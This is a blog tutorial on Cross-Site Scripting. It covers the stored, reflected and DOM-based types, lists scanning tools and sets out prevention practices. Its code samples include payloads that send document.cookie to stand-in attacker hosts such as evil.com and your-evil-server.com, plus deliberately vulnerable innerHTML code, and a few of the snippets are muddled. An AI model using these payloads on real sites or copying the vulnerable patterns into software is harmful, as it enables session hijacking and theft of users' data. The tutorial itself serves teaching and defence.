Cross-Site Scripting

Derya Cortuk
7 min readJan 31, 2024

--

https://portswigger.net/web-security/cross-site-scripting#top

XSS, or Cross-Site Scripting, is a type of security vulnerability that occurs in web applications when an attacker injects malicious scripts into web pages viewed by other users. This can lead to the execution of malicious code in the context of a user’s browser, compromising the security and integrity of the affected web application.

XSS attacks can have various consequences, including stealing sensitive information (such as login credentials or session tokens), defacing websites, redirecting users to malicious websites, or performing actions on behalf of the user without their consent.

There are three main types of XSS attacks:

Stored XSS (Persistent XSS):

In a stored XSS attack, the malicious script is permanently stored on the target server (e.g., in a database), and every time a user accesses the affected page, the script is served from the server and executed in the context of the user’s browser.

<script>
// Malicious code here
alert('You have been hacked!');
// Your evil intentions here
</script>
<script>
const evilCode = `
<script>
fetch("http://evilwebsite.com/steal?data=" + document.cookie);
</script>
`;
const innocentPage = document.getElementById("innocent-page");
innocentPage.innerHTML = evilCode;
</script>
<script>
var maliciousPayload = '<img src="evil-image.jpg" onerror="alert(\'You have been hacked!\');" />';
var vulnerableInput = document.getElementById('input-field');
vulnerableInput.value = maliciousPayload;
</script>

In this code, we create a variable called maliciousPayload that contains an image tag. The onerror attribute is set to execute an alert box with the message "You have been hacked!" whenever the image fails to load. Next, we locate the vulnerable input field on the targeted website using the getElementById method, and we set its value to our maliciousPayload.

When an unsuspecting victim visits the page and interacts with the input field, the malicious code will be stored and executed whenever the browser encounters it again.

Reflected XSS (Non-Persistent XSS):

Reflected XSS (Non-Persistent XSS) occurs when the injected script is embedded in a URL or other input and is reflected to the user by the web application. In this scenario, the malicious script is not permanently stored on the server but is included in the response to a particular request.

Suppose you have a search functionality on a website, and the search term is included in the URL. The URL might look like this:

https://example.com/search?query=user_input

Now, if the web application doesn’t properly validate or sanitize the user input and directly includes it in the response, an attacker could craft a malicious link to exploit this vulnerability.

Legitimate URL:

https://example.com/search?query=hello
Malicious URL:

https://example.com/search?query=<script>alert('XSS')</script>

In the malicious URL, the attacker has injected a script that displays an alert saying ‘XSS’ when the page is loaded. If a user clicks on this link, the script gets executed in their browser, leading to a pop-up alert.

<script>
var userInput = '<<INSERT MALICIOUS SCRIPT HERE>>';
var output = '<span>' + userInput + '</span>';
document.write(output);
</script>
<script>
var maliciousCode = document.cookie;
var img = new Image();
img.src = "https://your-evil-server.com/steal.php?cookie=" + encodeURIComponent(maliciousCode);
document.body.appendChild(img);
</script>
<script>
const evilCode = document.location.href;
document.write('<img src="http://evilwebsite.com/steal?data=' + escape(evilCode) + '">');
</script>

DOM-based XSS:

DOM-based XSS (Cross-Site Scripting) occurs when the client-side script manipulates the Document Object Model (DOM) of a web page. Unlike other types of XSS, the payload is not necessarily sent to the server; instead, the attack takes place solely on the client side.

Suppose there’s a web page that takes a user-supplied parameter from the URL and updates the page content dynamically. The JavaScript code on the page may look something like this:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>DOM-based XSS Example</title>
<script>
document.addEventListener('DOMContentLoaded', function() {
var urlParams = new URLSearchParams(window.location.search);
var userInput = urlParams.get('input');
document.getElementById('output').innerHTML = 'You searched for: ' + userInput;
});
</script>
</head>
<body>
<div id="output"></div>
</body>
</html>

Now, a user visits the page with the following URL:

https://example.com/page?input=<script>alert('DOM-based XSS')</script>

The JavaScript on the page takes the input parameter from the URL and sets it as the content of the output div. The page is vulnerable to DOM-based XSS because it directly manipulates the DOM without proper sanitization.

When the page loads with the provided URL, the injected script executes, and an alert saying ‘DOM-based XSS’ appears. The script is executed on the client side without the need to send the payload to the server.

<script>
// The vulnerable code below takes the value from the URL parameter and directly injects it into the HTML
var urlParams = new URLSearchParams(window.location.search);
var name = urlParams.get('name');
document.getElementById('welcome-message').innerHTML = 'Welcome, ' + name + '!';

// Now we can execute any JavaScript code by manipulating the URL parameter
var maliciousCode = '<img src=x onerror=alert("XSS Attack!")>';
window.location.href = 'https://example.com?name=' + maliciousCode;
</script>
<script>
var maliciousCode = document.location.href.split('#')[1];
var vulnerableElement = document.getElementById('vulnerable');
vulnerableElement.innerHTML = decodeURIComponent(maliciousCode);
</script>

In this code snippet, we’re extracting the URL fragment identifier (the part after the #) and injecting it into an element with the ID "vulnerable." This can allow an attacker to execute arbitrary JavaScript code on the victim's browser, potentially stealing sensitive information or performing unauthorized actions.

<script>
var evilPayload = document.cookie;
var maliciousElement = document.createElement('img');
maliciousElement.src = 'http://evil.com/steal.php?cookie=' + encodeURIComponent(evilPayload);
document.body.appendChild(maliciousElement);
</script>

Tools

There are several tools available for detecting and testing XSS vulnerabilities in web applications. These tools help security professionals, developers, and penetration testers identify and address XSS issues. Here are some popular XSS detection tools

OWASP ZAP (Zed Attack Proxy):

  • OWASP ZAP is an open-source security tool designed for finding vulnerabilities in web applications. It includes automated scanners and various tools to identify XSS vulnerabilities.

Burp Suite:

  • Burp Suite is a widely used web application security testing tool. It includes features for scanning web applications for security vulnerabilities, including XSS. The Burp Scanner can automatically identify XSS vulnerabilities.

Netsparker:

  • Netsparker is an automated web application security scanner that helps identify and prioritize security vulnerabilities, including XSS. It provides a user-friendly interface for both beginners and experienced security professionals.

Acunetix:

  • Acunetix is a web vulnerability scanner that can automatically detect and assess XSS vulnerabilities in web applications. It offers various scanning options and integrates with the development lifecycle.

Nessus:

  • Nessus is a vulnerability scanning tool that can be used to identify a wide range of security issues, including XSS vulnerabilities. It provides comprehensive reports and recommendations.

AppSpider:

  • AppSpider, formerly known as Rapid7 AppSpider, is a dynamic application security testing (DAST) tool that includes features for identifying XSS vulnerabilities. It helps automate security testing in the development lifecycle.

Arachni:

  • Arachni is an open-source web application security scanner that can be used to identify various vulnerabilities, including XSS. It supports both automated and manual testing.

Detectify:

  • Detectify is a web security scanner that continuously analyzes web applications for vulnerabilities. It provides automated detection of XSS and other security issues.

W3af:

  • W3af is an open-source web application attack and audit framework that can be used to identify XSS vulnerabilities. It supports both automated and manual testing.

XSStrike:

  • XSStrike is an open-source XSS detection and exploitation toolkit. It can be used to identify XSS vulnerabilities and generate reports.

How to Prevent XSS Attacks:

Preventing XSS (Cross-Site Scripting) attacks involves implementing various security measures to ensure that user input is properly validated, sanitized, and encoded.

Input Validation:

  • Validate all user input on both the client and server sides. Ensure that input adheres to expected formats and lengths, rejecting any input that doesn’t meet criteria.

Output Encoding:

  • Encode user input before rendering it in HTML, JavaScript, or other contexts. Use context-specific encoding functions such as htmlspecialchars in PHP, encodeURIComponent in JavaScript, or similar functions in other programming languages.

Content Security Policy (CSP):

  • Implement a Content Security Policy to control which resources are allowed to be loaded onto a page. CSP can help mitigate the risk of XSS by restricting the execution of scripts from unauthorized sources.

HTTP Only Cookies:

  • Use the HTTP Only flag for cookies to prevent them from being accessed by client-side scripts. This helps mitigate the risk of session hijacking through XSS attacks.

Secure Cookies:

  • Set the Secure flag for cookies to ensure they are transmitted only over secure (HTTPS) connections, reducing the risk of interception.

Avoid Inline JavaScript:

  • Minimize the use of inline JavaScript and instead use external scripts. This reduces the attack surface for XSS vulnerabilities.

Use Frameworks and Libraries:

  • Employ web application frameworks and libraries that automatically handle input validation, output encoding, and other security features. Frameworks such as Django, Ruby on Rails, and Express.js have built-in protections against XSS.

Regular Security Audits:

  • Conduct regular security audits and code reviews to identify and address potential vulnerabilities. Automated security testing tools can also help detect common issues.

Browser Security Headers:

  • Utilize security headers, such as X-Content-Type-Options, X-Frame-Options, and X-XSS-Protection, to enhance browser security and protect against various types of attacks.

Avoid eval() and innerHTML:

  • Avoid using eval() and setting HTML using innerHTML with user-generated content, as these can introduce security vulnerabilities.

To prevent XSS vulnerabilities, developers should implement secure coding practices, validate and sanitize user input, use proper output encoding, and employ security mechanisms such as Content Security Policy (CSP) to mitigate the risk of XSS attacks. Regular security audits and testing are also essential to identify and address potential vulnerabilities in web applications.

--

--